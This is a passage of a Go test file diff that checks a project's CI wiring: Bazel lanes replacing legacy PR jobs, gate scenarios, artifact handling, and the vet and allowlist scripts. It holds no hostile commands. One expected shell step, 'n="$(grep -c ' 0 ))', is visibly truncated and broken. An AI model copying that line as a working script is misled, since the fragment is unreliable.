environment for ./scripts/..., go vet and the + // Bazel-skipped tests; read-only like PR Core. + assertGoCacheInventory(t, workflows["pr.yml"].job(t, "scripts-go-checks"), []goCacheStep{ + restoreModuleCache(), restoreBuildCache("race"), + }) assertGoCacheInventory(t, workflows["pr.yml"].job(t, "test-macos"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("non-race"), restoreBuildCache("race"), }) @@ -896,7 +910,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { "build-artifacts": true, "build-embedded": true, "pr-core-wrapper": true, "test": true, "test-windows": true, }, "pr.yml": { - "build-artifacts": true, "pr-core-wrapper": true, "test-macos": true, "worktree-remove-windows": true, + "build-artifacts": true, "pr-core-wrapper": true, "scripts-go-checks": true, "test-macos": true, "worktree-remove-windows": true, "check-doc-freshness-platforms": true, "pr-preflight-platforms": true, "build-examples": true, "check-release-target-cross-compilation": true, }, @@ -2288,8 +2302,12 @@ type bazelGateScenario struct { outputs map[string]string // the lanes' outputs ("" = not reported) // pr.yml's bazel-coverage job (D2): its outputs, per retiredTiers // output name ("" = not reported), and its result ("" = success). - covered map[string]string - coverage string + covered map[string]string + coverage string + // Non-Bazel needs' results that differ from what the jobs' if: give + // (success, or skipped for pr.yml's legacy jobs that bazel-coverage + // retired, D2 step 3). + results map[string]string wantPass bool wantMention string // a red gate must name this id } @@ -2329,7 +2347,7 @@ func runPRGateStep(t *testing.T, step ciWorkflowStep, sc bazelGateScenario) (boo } got = sc.covered[m[3]] case m[1] != "bazel" && m[2] == "result": - got = "success" + got = prLegacyJobResult(m[1], sc) case m[1] != "bazel": t.Fatalf("ci-gate env %s = %q: the gate simulation cannot evaluate it", key, value) case m[2] == "result": @@ -3524,7 +3542,8 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { // later --cache_test_results wins over --nocache_test_results). if !strings.HasPrefix(line, "#") && strings.Contains(line, "cache_test_results") && line != "test:embedded --nocache_test_results" && line != "test:docker --nocache_test_results" && - line != "test:doltserver-proxied --nocache_test_results" && line != "test:doltserver-integration --nocache_test_results" { + line != "test:doltserver-proxied --nocache_test_results" && line != "test:doltserver-integration --nocache_test_results" && + line != bazelSoleRunNoCacheLine { t.Errorf(".bazelrc %q: only test:embedded and test:docker set test result caching", line) } if strings.HasPrefix(line, "test:embedded ") && (strings.Contains(line, "-test.short") || strings.Contains(line, "BEADS_TEST_SKIP")) { @@ -3666,7 +3685,7 @@ func TestBazelPureJobMirrorsPureGoJob(t *testing.T) { t.Errorf("%s PURE_CMD_BD_TESTS = %q, want pr.yml's -short -run selector %q", bazelPureJobName, job.Env["PURE_CMD_BD_TESTS"], m[1]) } run := job.step(t, "Run pure-Go cmd/bd test subset (--config=pure)").Run - for _, required := range []string{"bazel test --config=pure //cmd/bd:bd_test", `"--test_arg=-test.run=$PURE_CMD_BD_TESTS"`, "(( n > 0 ))"} { + for _, required := range []string{"bazel test --config=pure " + bazelSoleRunArg + " //cmd/bd:bd_test", `"--test_arg=-test.run=$PURE_CMD_BD_TESTS"`, "(( n > 0 ))"} { if !strings.Contains(run, required) { t.Errorf("pure subset step does not contain %q:\n%s", required, run) } diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go new file mode 100644 index 000000000..5acb08934 --- /dev/null +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -0,0 +1,746 @@ +package scripts_test + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "reflect" + "regexp" + "sort" + "strings" + "testing" +) + +// D2 step 3: pr.yml's own legacy jobs whose Bazel lanes run in the same +// pr.yml run stand down on the PRs bazel-coverage covers (pr_lanes): +// build-artifacts, PR Core, the pure-Go/js-wasm check, domain+uow and +// contract corpus, for Bazel / test, pure-Go and js/wasm and dolt-server +// lane. ci-gate then requires those lanes to have run remotely and passed +// (BAZEL_PR_LANES_RETIRED, simulated with the other tiers in +// TestPRRiskDecisionMatchesBazelMode). Everything the retired jobs did +// besides those tests keeps running on every PR: the package gates take the +// Bazel-built bd, the Dolt server fingerprint has its own job, and +// scripts-go-checks runs `go test ./scripts/...`, go test's vet checks and +// the Go tests the Bazel lane does not run or skips (equivalence allowlist). + +const ( + // The legacy jobs' if: not covered. + prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" + // The package gates: they run whenever detection and the decision did, + // on build-artifacts' bd, or on Bazel's where build-artifacts stood down. + prPackageGateIf = "${{ !cancelled() && needs.detect-package-gates.result == 'success' && needs." + prRiskCoverageJobName + + ".result == 'success' && (needs." + prRiskCoverageJobName + ".outputs.pr_lanes == 'true' || needs.build-artifacts.result == 'success') }}" + prPackageGateArtifact = "${{ needs." + prRiskCoverageJobName + ".outputs.pr_lanes == 'true' && 'bazel-ci-build-artifacts' || 'ci-build-artifacts' }}" + prFingerprintJob = "test-dolt-server-fingerprint" + prFingerprintID = "TEST_DOLT_SERVER_FINGERPRINT" + prAllowlistedStep = "Run the Go tests the Bazel lane skips" + prScriptsChecksJob = "scripts-go-checks" + prPackageBDCheck = "Check the Bazel-built bd exists" + prScriptsChecksID = "SCRIPTS_GO_CHECKS" + // bazel.yml's lanes for the step add --config=sole-run in mode remote. + bazelSoleRunEnv = "${{ needs.rbe.outputs.mode == 'remote' && '--config=sole-run' || '' }}" + bazelSoleRunArg = `${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"}` + bazelSoleRunNoCacheLine = "test:sole-run --nocache_test_results" + bazelSoleRunEvictionLine = "test:sole-run --experimental_remote_cache_eviction_retries=0" +) + +// The package gates (consumers of build-artifacts' ci-build-artifacts that +// keep running where it stands down). +var prPackageGates = map[string]string{"package-mcp": "PACKAGE_MCP", "package-npm": "PACKAGE_NPM"} + +// Each retired job's needs, exactly. +var prLaneLegacyNeeds = map[string][]string{ + "build-artifacts": {prRiskCoverageJobName}, + "check-cmd-bd-puregeo-tests": {prRiskCoverageJobName}, + "contract-corpus": {prRiskCoverageJobName}, + "pr-core-wrapper": {"build-artifacts", prRiskCoverageJobName}, + "test-domain-uow": {"build-artifacts", prRiskCoverageJobName}, +} + +// .bazelrc's lines for the configs step 3's lanes run, exactly: the +// PR-core selection (test:ci), the dolt-server lane, the pure-Go and js/wasm +// lane, and sole-run (their only-run hardening). +var bazelPRLaneRCLines = map[string][]string{ + "prcore": { + "test:prcore --@rules_go//go/config:race", + "test:prcore --test_arg=-test.short", + "test:prcore --test_arg=-test.parallel=4", + "test:prcore --test_arg=-test.skip=^TestEmbedded", + "test:prcore --test_env=BEADS_TEST_SKIP=dolt", + "test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1", + "test:prcore --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-embedded,-manual,-integration-only", + }, + "ci": { + "test:ci --config=prcore", + "test:ci --keep_going --test_summary=terse", + "test:ci --test_env=GO_TEST_WRAP_TESTV=1", + "test:ci --remote_download_regex=.*/test\\.xml$", + "test:ci --remote_download_regex=.*/bin/cmd/bd/bd_for_tests/bd$", + }, + "doltserver": { + "test:doltserver --@rules_go//go/config:race", + "test:doltserver --test_tag_filters=dolt-server", + "test:doltserver --build_tests_only", + "test:doltserver --keep_going", + "test:doltserver --test_env=GO_TEST_WRAP_TESTV=1", + "test:doltserver --test_arg=-test.parallel=4", + "test:doltserver --local_test_jobs=4", + "test:doltserver --remote_download_regex=.*/test\\.(log|xml)$", + }, + "pure": { + "build:pure --@rules_go//go/config:pure", + "test:pure --test_arg=-test.short", + "test:pure --test_arg=-test.parallel=4", + "test:pure --test_env=GO_TEST_WRAP_TESTV=1", + "test:pure --remote_download_regex=.*/test\\.xml$", + }, + "js-wasm": { + "build:js-wasm --platforms=@rules_go//go/toolchain:js_wasm", + "build:js-wasm --use_target_platform_for_tests", + "build:js-wasm --remote_download_outputs=toplevel", + }, + "sole-run": {bazelSoleRunNoCacheLine, bazelSoleRunEvictionLine}, +} + +// The steps of step 3's lanes that run Bazel, exactly (as review F4 of +// step 1 for the embedded lane): nothing may be appended that selects, +// skips or re-runs tests. +var bazelPRLaneSteps = map[string]map[string]string{ + bazelJobName: { + "bazel test //... --config=ci": `set -o pipefail +start=$(date +%s) +rc=0 +bazel test //... --config=ci ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} \ + --profile="$RUNNER_TEMP/bazel-profile.json" \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? +echo "bazel test: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" +echo >> "$GITHUB_STEP_SUMMARY" +exit "$rc"`, + }, + bazelPureJobName: { + "Start every pure-Go artifact (gozstd contamination check)": `set -euo pipefail +bazel run --config=pure //cmd/bd:bd -- version +bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} \ + //internal/storage/embeddeddolt:embeddeddolt_test \ + //internal/tracker:tracker_test \ + --test_sharding_strategy=disabled \ + '--test_arg=-test.run=^$' \ + --test_env=BEADS_TEST_SKIP=dolt`, + "Run pure-Go cmd/bd test subset (--config=pure)": `set -euo pipefail +bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} //cmd/bd:bd_test \ + --test_sharding_strategy=disabled \ + "--test_arg=-test.run=$PURE_CMD_BD_TESTS" +n="$(grep -c ' 0 ))`, + }, + bazelDoltJobName: { + "bazel test //... --config=doltserver": `set -o pipefail +start=$(date +%s) +rc=0 +bazel test //... "--config=$BAZEL_DOLT_LANE" ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? +echo "bazel test --config=$BAZEL_DOLT_LANE: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" +exit "$rc"`, + }, +} + +// prLanesTier: retiredTiers' pr.yml entry. +func prLanesTier(t *testing.T) retiredTier { + t.Helper() + for _, r := range retiredTiers { + if r.workflow == "pr.yml" { + return r + } + } + t.Fatal("retiredTiers has no pr.yml tier") + return retiredTier{} +} + +// prLegacyJobResult: a non-Bazel pr.yml need's result in a gate scenario, +// as the jobs' if: produce it (sc.results overrides): a retired job skips +// where its tier is covered (GitHub's == is case-insensitive) or the +// decision failed; a package gate skips where the decision failed. +func prLegacyJobResult(job string, sc bazelGateScenario) string { + if r, ok := sc.results[job]; ok { + return r + } + decided := sc.coverage == "" || sc.coverage == "success" + for _, r := range retiredTiers { + if _, ok := r.jobs[job]; ok && r.workflow == "pr.yml" && (!decided || strings.EqualFold(sc.covered[r.output], "true")) { + return "skipped" + } + } + if _, ok := prPackageGates[job]; ok && !decided { + return "skipped" + } + return "success" +} + +// The retired jobs' wiring, the artifact consumers, and pr.yml's actual +// gate step over the covered and uncovered cases. +func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { + requireHostTool(t, "bash") + pr := readCIWorkflow(t, "pr.yml") + tier := prLanesTier(t) + gate := pr.job(t, "ci-gate") + gateStep := gate.step(t, "Evaluate CI gate") + required := strings.Fields(gateStep.Env["CI_GATE_REQUIRED"]) + + var names []string + for name := range tier.jobs { + names = append(names, name) + } + sort.Strings(names) + if !reflect.DeepEqual(names, sortedKeys(prLaneLegacyNeeds)) { + t.Fatalf("pr.yml tier jobs %v, want %v", names, sortedKeys(prLaneLegacyNeeds)) + } + for name, id := range tier.jobs { + job := pr.job(t, name) + if job.If != prLaneLegacyIf || !reflect.DeepEqual([]string(job.Needs), prLaneLegacyNeeds[name]) || job.ContinueOnError { + t.Errorf("%s: if %q, needs %v, continue-on-error %v; want if %q, needs %v", name, job.If, job.Needs, job.ContinueOnError, prLaneLegacyIf, prLaneLegacyNeeds[name]) + } + // Still required: it runs wherever the Bazel lanes do not cover it. + if !contains(required, id) || !contains(gate.Needs, name) || gateStep.Env[id] != "${{ needs."+name+".result }}" { + t.Errorf("ci-gate does not require %s's result as %s", name, id) + } + } + // The lanes that replace them run in this workflow's bazel call. + if !reflect.DeepEqual(tier.bazelLanes, []string{bazelJobName, bazelPureJobName, bazelDoltJobName}) { + t.Errorf("pr.yml tier lanes = %v", tier.bazelLanes) + } + + // Only the retired jobs, the package gates and the gate read the + // decision; only they and the gate need build-artifacts. + for name, job := range pr.Jobs { + _, retired := tier.jobs[name] + _, pkg := prPackageGates[name] + if retired || pkg || name == "ci-gate" || name == prRiskCoverageJobName { + continue + } + if strings.Contains(job.If, prRiskCoverageJobName) || contains(job.Needs, prRiskCoverageJobName) { + t.Errorf("%s depends on %s; only the retired jobs and the package gates may", name, prRiskCoverageJobName) + } + if contains(job.Needs, "build-artifacts") { + t.Errorf("%s needs build-artifacts, which stands down on covered PRs; take the artifact like the package gates do", name) + } + } + + // Artifact consumers: the retired jobs read build-artifacts' artifact + // (they only run where it does); the package gates read Bazel's where + // it stood down. Nothing downloads by pattern or without a name. + for name, job := range pr.Jobs { + for _, step := range job.Steps { + if !strings.HasPrefix(step.Uses, "actions/download-artifact@") { + continue + } + art := step.With["name"] + if art == "" || step.With["pattern"] != "" { + t.Errorf("%s downloads an artifact by pattern or without a name: %v", name, step.With) + continue + } + if !strings.Contains(art, "ci-build-artifacts") { + continue + } + _, retired := tier.jobs[name] + _, pkg := prPackageGates[name] + switch { + case retired && art == "ci-build-artifacts": + case pkg && art == prPackageGateArtifact: + default: + t.Errorf("%s downloads %q; only the retired jobs (ci-build-artifacts) and the package gates (%s) may", name, art, prPackageGateArtifact) + } + if step.With["path"] != "ci-build-artifacts" { + t.Errorf("%s downloads into %q, want ci-build-artifacts (the layout its steps read)", name, step.With["path"]) + } + } + } + for name, id := range prPackageGates { + job := pr.job(t, name) + want := []string{"detect-package-gates", "build-artifacts", prRiskCoverageJobName, "bazel"} + if job.If != prPackageGateIf || !reflect.DeepEqual([]string(job.Needs), want) { + t.Errorf("%s: if %q, needs %v; want if %q, needs %v", name, job.If, job.Needs, prPackageGateIf, want) + } + if dl := job.step(t, "Download build artifacts"); dl.With["name"] != prPackageGateArtifact { + t.Errorf("%s downloads %q, want %q", name, dl.With["name"], prPackageGateArtifact) + } + if v := job.step(t, "Verify build artifacts").Run; !strings.Contains(v, "sha256sum -c SHA256SUMS") || !strings.Contains(v, "chmod +x bd-linux-gms-pure") { + t.Errorf("%s no longer verifies the artifact:\n%s", name, v) + } + if !contains(required, id) { + t.Errorf("ci-gate does not require %s", id) + } + // Review L2: with the farm off (mode skip) on a covered PR, say why + // there is no bd before the download fails on a missing artifact. + check := job.step(t, prPackageBDCheck) + if check.If != "steps.applicability.outputs.run == 'true' && needs."+prRiskCoverageJobName+".outputs.pr_lanes == 'true'" || + !reflect.DeepEqual(check.Env, map[string]string{"BAZEL_RBE_MODE": "${{ needs.bazel.outputs.rbe-mode }}"}) || check.ContinueOnError != nil || + job.stepIndex(t, prPackageBDCheck) > job.stepIndex(t, "Download build artifacts") { + t.Errorf("%s step %q: if %q, env %v; want it before the download, on covered applicable runs, reading the call's mode", name, prPackageBDCheck, check.If, check.Env) + } + for mode, wantOK := range map[string]bool{"remote": true, "skip": false, "cache": false, "local": false, "": false} { + cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", check.Run) + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "BAZEL_RBE_MODE=" + mode} + out, err := cmd.CombinedOutput() + if (err == nil) != wantOK || (!wantOK && !(strings.Contains(string(out), "::error::") && strings.Contains(string(out), "BAZEL_PR_LANES_RETIRED"))) { + t.Errorf("%s bd check in mode %q: ok %v, want %v\n%s", name, mode, err == nil, wantOK, out) + } + } + } + // Bazel's artifact: bazel-test publishes it (always, after its tests) + // under the name pr.yml passes, with build-artifacts' layout + // (TestBazelWorkflowPublishesBuildArtifacts). + if pr.job(t, "bazel").With["build-artifact-name"] != "bazel-ci-build-artifacts" { + t.Errorf("pr.yml's bazel call no longer names its artifact bazel-ci-build-artifacts") + } + bazelTest := readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName) + pkgStep := bazelTest.step(t, "Package bd (ci-build-artifacts layout)") + if pkgStep.Run != `./scripts/ci/package-bazel-bd.sh "$RUNNER_TEMP/bd-artifacts"` || pkgStep.ContinueOnError != nil { + t.Errorf("bazel-test packages bd with %q (continue-on-error %v)", pkgStep.Run, pkgStep.ContinueOnError) + } + + // The gate. Other tiers not covered, so only this step's rules apply. + cov := func(v string) map[string]string { + c := coveredAll("false") + c[tier.output] = v + return c + } + lanes := bazelPRCallLanes(t, pr.job(t, "bazel").With) + type scenario struct { + name string + sc bazelGateScenario + pass bool + mention string + } + var scenarios []scenario + add := func(name string, sc bazelGateScenario, pass bool, mention string) { + scenarios = append(scenarios, scenario{name, sc, pass, mention}) + } + add("covered, remote, lanes passed, legacy skipped", prGateFor(t, lanes, "pull_request", "remote", cov("true")), true, "") + add("not covered, remote, legacy ran", prGateFor(t, lanes, "pull_request", "remote", cov("false")), true, "") + add("merge_group, not covered, remote", prGateFor(t, lanes, "merge_group", "remote", cov("false")), true, "") + for _, mode := range []string{"local", "cache"} { + add("not covered, mode "+mode+", legacy ran", prGateFor(t, lanes, "pull_request", mode, cov("false")), true, "") + } + for job, id := range tier.jobs { + // Covered, but the job ran anyway and failed: red. + sc := prGateFor(t, lanes, "pull_request", "remote", cov("true")) + sc.results = map[string]string{job: "failure"} + add("covered, "+job+" ran and failed", sc, false, id) + // Not exactly covered: its skip is not excused. + for _, c := range []string{"false", "", "TRUE ", "yes", "1", "True\n"} { + sc := prGateFor(t, lanes, "pull_request", "remote", cov(c)) + sc.results = map[string]string{job: "skipped"} + add(fmt.Sprintf("covered=%q, %s skipped", c, job), sc, false, id) + } + } + for _, lane := range tier.bazelLanes { + for _, res := range []string{"failure", "cancelled", "skipped", ""} { + sc := prGateFor(t, lanes, "pull_request", "remote", cov("true")) + sc.outputs[lane] = res + add(fmt.Sprintf("covered, %s %q", lane, res), sc, false, tier.retiredID) + } + } + for _, mode := range []string{"skip", "local", "cache"} { + sc := prGateFor(t, lanes, "pull_request", mode, cov("true")) + for _, lane := range tier.bazelLanes { + sc.outputs[lane] = "success" + } + add("covered, mode "+mode+", lanes reported success", sc, false, tier.retiredID) + } + for _, c := range []string{"true", "false"} { + for _, res := range []string{"skipped", "failure", "cancelled"} { + for _, job := range []string{prFingerprintJob, "package-mcp", "package-npm", "pr-preflight-platforms", prScriptsChecksJob} { + sc := prGateFor(t, lanes, "pull_request", "remote", cov(c)) + sc.results = map[string]string{job: res} + id := map[string]string{prFingerprintJob: prFingerprintID, "pr-preflight-platforms": "PR_PREFLIGHT_PLATFORMS", prScriptsChecksJob: prScriptsChecksID}[job] + if id == "" { + id = prPackageGates[job] + } + add(fmt.Sprintf("covered=%s, %s %s", c, job, res), sc, false, id) + } + } + } + // A failed decision: the retired jobs and the package gates skip + // through needs, and the gate is red. + for _, res := range []string{"failure", "cancelled", "skipped"} { + sc := prGateFor(t, lanes, "pull_request", "remote", cov("")) + sc.coverage = res + add("decision "+res, sc, false, prRiskCoverageGateID) + } + for _, s := range scenarios { + t.Run(s.name, func(t *testing.T) { + pass, out := runPRGateStep(t, gateStep, s.sc) + if pass != s.pass { + t.Errorf("gate pass = %v, want %v\n%s", pass, s.pass, out) + } + if !s.pass && s.mention != "" && !regexp.MustCompile(`::error::`+regexp.QuoteMeta(s.mention)+`\b`).MatchString(out) { + t.Errorf("red gate does not name %s:\n%s", s.mention, out) + } + }) + } +} + +func sortedKeys[V any](m map[string]V) []string { + out := make([]string, 0, len(m)) + for k := range m { + out = append(out, k) + } + sort.Strings(out) + return out +} + +// The Dolt server fingerprint (container image vs the pinned dolt CLI the +// Bazel dolt-server lanes start) runs on every PR in its own required job, +// whatever bazel-coverage says, and nowhere else in pr.yml. +func TestPRDoltServerFingerprintRunsOnEveryPR(t *testing.T) { + pr := readCIWorkflow(t, "pr.yml") + job := pr.job(t, prFingerprintJob) + if job.If != "" || len(job.Needs) != 0 || job.ContinueOnError || job.RunsOn != "ubuntu-latest" || job.TimeoutMinutes == 0 { + t.Errorf("%s: if %q, needs %v, continue-on-error %v, runs-on %q, timeout %d; want an unconditional ubuntu-latest job with a timeout", + prFingerprintJob, job.If, job.Needs, job.ContinueOnError, job.RunsOn, job.TimeoutMinutes) + } + var names []string + for _, s := range job.Steps { + if s.If != "" || s.ContinueOnError != nil { + t.Errorf("%s step %q: if %q, continue-on-error %v", prFingerprintJob, s.Name, s.If, s.ContinueOnError) + } + names = append(names, s.Name) + } + want := []string{"", "Set up Go", "Install Dolt CLI", "Verify dolt on PATH", "Configure Git and Dolt identity", "Pull Dolt sql-server image", "Test Dolt server fingerprint (container + local)"} + if !reflect.DeepEqual(names, want) { + t.Errorf("%s steps %q, want %q", prFingerprintJob, names, want) + } + if got, want := job.step(t, "Pull Dolt sql-server image").Run, pr.job(t, "test-domain-uow").step(t, "Pull Dolt sql-server image").Run; got != want { + t.Errorf("%s pulls the image with %q, test-domain-uow with %q", prFingerprintJob, got, want) + } + if got := job.step(t, "Install Dolt CLI").Run; got != "./scripts/ci/install-dolt.sh" { + t.Errorf("%s installs dolt with %q", prFingerprintJob, got) + } + gate := pr.job(t, "ci-gate") + env := gate.step(t, "Evaluate CI gate").Env + if !contains(gate.Needs, prFingerprintJob) || env[prFingerprintID] != "${{ needs."+prFingerprintJob+".result }}" || + !contains(strings.Fields(env["CI_GATE_REQUIRED"]), prFingerprintID) { + t.Errorf("ci-gate does not require %s", prFingerprintID) + } + for name, j := range pr.Jobs { + for _, s := range j.Steps { + if strings.Contains(s.Run, "TestDoltServerFingerprint") && name != prFingerprintJob { + t.Errorf("%s step %q runs the fingerprint; only %s does", name, s.Name, prFingerprintJob) + } + } + } +} + +// PR Core's duties the Bazel lanes do not take over run on every PR, in +// pr.yml's required scripts-go-checks job (PR Core's environment): `go test +// ./scripts/...` with PR Core's flags (the policy tests, some of which check +// part or all of their rules under go test only), go test's vet checks over +// ./... (rules_go's go_test runs none), and the Go tests Bazel does not run +// or skips (tools/bazel/equivalence_allowlist.txt), each required to pass. +func TestPRRunsGoTestsBazelSkips(t *testing.T) { + pr := readCIWorkflow(t, "pr.yml") + job := pr.job(t, prScriptsChecksJob) + if job.If != "" || job.ContinueOnError || len(job.Needs) != 0 || job.RunsOn != "ubuntu-latest" || job.TimeoutMinutes == 0 { + t.Errorf("%s: if %q, continue-on-error %v, needs %v, runs-on %q, timeout %d; want an unconditional ubuntu-latest job with a timeout", + prScriptsChecksJob, job.If, job.ContinueOnError, job.Needs, job.RunsOn, job.TimeoutMinutes) + } + var names []string + for _, st := range job.Steps { + names = append(names, st.Name) + if st.ContinueOnError != nil { + t.Errorf("%s step %q has continue-on-error", prScriptsChecksJob, st.Name) + } + } + wantNames := []string{"", "Set up Go", "Restore Go module cache", "Restore race Go build cache", "Install Dolt", + "Configure Git and Dolt identity", "Go test the scripts packages", "Go vet with go test's checks", prAllowlistedStep} + if !reflect.DeepEqual(names, wantNames) { + t.Errorf("%s steps %q, want %q", prScriptsChecksJob, names, wantNames) + } + // The environment PR Core's job gives its go test. + core := pr.job(t, "pr-core-wrapper") + for _, name := range []string{"Install Dolt", "Configure Git and Dolt identity", "Restore race Go build cache"} { + if got, want := job.step(t, name), core.step(t, name); got.Run != want.Run || !reflect.DeepEqual(got.With, want.With) || got.Uses != want.Uses { + t.Errorf("%s step %q differs from pr-core-wrapper's", prScriptsChecksJob, name) + } + } + untilDone := "${{ !cancelled() && steps.setup-go.outcome == 'success' }}" + for name, want := range map[string]struct { + run, ifc string + env map[string]string + }{ + "Go test the scripts packages": {"bash scripts/ci/scripts-go-test.sh", "", map[string]string{ + "BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION": "1", "GOCACHE": "${{ runner.temp }}/go-cache/race"}}, + "Go vet with go test's checks": {"bash scripts/ci/go-test-vet.sh", untilDone, nil}, + prAllowlistedStep: {"bash scripts/ci/allowlisted-go-tests.sh", untilDone, nil}, + } { + st := job.step(t, name) + if st.Run != want.run || st.If != want.ifc || st.Shell != "" || (len(st.Env) != 0 || len(want.env) != 0) && !reflect.DeepEqual(st.Env, want.env) { + t.Errorf("%s step %q: run %q, if %q, shell %q, env %v; want run %q, if %q, env %v", prScriptsChecksJob, name, st.Run, st.If, st.Shell, st.Env, want.run, want.ifc, want.env) + } + } + gate := pr.job(t, "ci-gate") + env := gate.step(t, "Evaluate CI gate").Env + if !contains(gate.Needs, prScriptsChecksJob) || env[prScriptsChecksID] != "${{ needs."+prScriptsChecksJob+".result }}" || + !contains(strings.Fields(env["CI_GATE_REQUIRED"]), prScriptsChecksID) { + t.Errorf("ci-gate does not require %s", prScriptsChecksID) + } + // Nothing else in pr.yml runs these (one place to look). + for name, j := range pr.Jobs { + for _, st := range j.Steps { + for _, script := range []string{"allowlisted-go-tests.sh", "scripts-go-test.sh", "go-test-vet.sh"} { + if strings.Contains(st.Run, script) && name != prScriptsChecksJob { + t.Errorf("%s step %q runs %s; only %s does", name, st.Name, script, prScriptsChecksJob) + } + } + } + } + if os.Getenv("TEST_SRCDIR") != "" { + return // scripts_test's runfiles hold none of the scripts (this part runs in that job itself) + } + root := sourceRepoRoot(t) + prelude := []string{ + "set -euo pipefail", + `SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"`, + `REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"`, + `source "$REPO_ROOT/.buildflags"`, + } + for script, rest := range map[string][]string{ + "scripts/ci/allowlisted-go-tests.sh": { + `source "$REPO_ROOT/scripts/ci/lib/test-env.sh"`, + `cd "$REPO_ROOT"`, + "beads_test_env_enter", + "export BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1", + `python3 tools/bazel/run_allowlisted_go_tests.py "$@"`, + }, + "scripts/ci/scripts-go-test.sh": { + `source "$REPO_ROOT/scripts/ci/lib/timing.sh"`, + `source "$REPO_ROOT/scripts/ci/lib/test-env.sh"`, + `cd "$REPO_ROOT"`, + "beads_test_env_enter", + `ci_time "scripts go test" -- \`, + `go test -p 4 -parallel 4 -race -short -timeout=30m -skip '^TestEmbedded' ./scripts/...`, + }, + "scripts/ci/go-test-vet.sh": { + `source "$REPO_ROOT/scripts/ci/lib/timing.sh"`, + `cd "$REPO_ROOT"`, + "GO_TEST_VET_FLAGS=(" + strings.Join(goTestDefaultVetFlags(t), " ") + ")", + `ci_time "go vet (go test's checks)" -- \`, + `go vet -tags gms_pure_go "${GO_TEST_VET_FLAGS[@]}" ./...`, + }, + } { + var code []string + for _, line := range strings.Split(readPolicyFile(t, root, script), "\n") { + if l := strings.TrimSpace(line); l != "" && !strings.HasPrefix(l, "#") { + code = append(code, l) + } + } + if want := append(append([]string{}, prelude...), rest...); !reflect.DeepEqual(code, want) { + t.Errorf("%s code changed:\n%s\nwant:\n%s", script, strings.Join(code, "\n"), strings.Join(want, "\n")) + } + } + // PR Core's own test command: the scripts step must keep its flags. + if core := readPolicyFile(t, root, "scripts/ci/pr-core.sh"); !strings.Contains(core, + `go_test -p "$GO_TEST_PKG_PARALLEL" -parallel "$GO_TEST_PARALLEL" -race -short -timeout=30m -skip '^TestEmbedded' ./...`) { + t.Errorf("scripts/ci/pr-core.sh's go test changed; keep scripts/ci/scripts-go-test.sh's flags equal to it") + } + + // The real allowlist plans: every entry maps to a package go test runs. + python := requireHostTool(t, "python3") + runner := filepath.Join(root, "tools", "bazel", "run_allowlisted_go_tests.py") + out, err := exec.Command(python, runner, "--dry-run").CombinedOutput() + if err != nil { + t.Fatalf("dry run of the real allowlist: %v\n%s", err, out) + } + for _, line := range strings.Split(readPolicyFile(t, root, "tools/bazel/equivalence_allowlist.txt"), "\n") { + body, _, _ := strings.Cut(line, "#") + f := strings.Fields(body) + if len(f) == 0 { + continue + } + if !strings.Contains(string(out), " ./"+f[0]+"\n") { + t.Errorf("allowlist entry %q: no go test of ./%s planned:\n%s", line, f[0], out) + } + if f[1] != "*" && !strings.Contains(string(out), regexp.QuoteMeta(strings.TrimSuffix(f[1], "*"))) { + t.Errorf("allowlist entry %q: not selected:\n%s", line, out) + } + } +} + +// goTestDefaultVetFlags: the vet checks the Go toolchain running this test +// gives `go test` (cmd/go's defaultVetFlags), read from its source, so a Go +// upgrade that changes them fails here until go-test-vet.sh follows. +func goTestDefaultVetFlags(t *testing.T) []string { + t.Helper() + goroot, err := exec.Command(requireHostTool(t, "go"), "env", "GOROOT").Output() + if err != nil { + t.Fatal(err) + } + src, err := os.ReadFile(filepath.Join(strings.TrimSpace(string(goroot)), "src", "cmd", "go", "internal", "test", "test.go")) + if err != nil { + t.Fatalf("reading cmd/go's test.go for defaultVetFlags: %v", err) + } + m := regexp.MustCompile(`(?s)var defaultVetFlags = \[\]string\{(.*?)\n\}`).FindSubmatch(src) + if m == nil { + t.Fatal("cmd/go's test.go has no defaultVetFlags") + } + var flags []string + for _, line := range strings.Split(string(m[1]), "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "//") || line == "" { + continue + } + flags = append(flags, strings.Trim(strings.TrimSuffix(line, ","), `"`)) + } + if len(flags) < 5 { + t.Fatalf("defaultVetFlags parsed as %v", flags) + } + return flags +} + +// run_allowlisted_go_tests.py on a synthetic allowlist and a fake go that +// reports given results: every entry must match a test that ran and passed. +func TestRunAllowlistedGoTestsScript(t *testing.T) { + if os.Getenv("TEST_SRCDIR") != "" { + t.Skip("scripts_test's runfiles hold no tools/bazel Python") + } + requireHostTool(t, "bash") + python := requireHostTool(t, "python3") + runner := filepath.Join(sourceRepoRoot(t), "tools", "bazel", "run_allowlisted_go_tests.py") + dir := t.TempDir() + fakeGo := 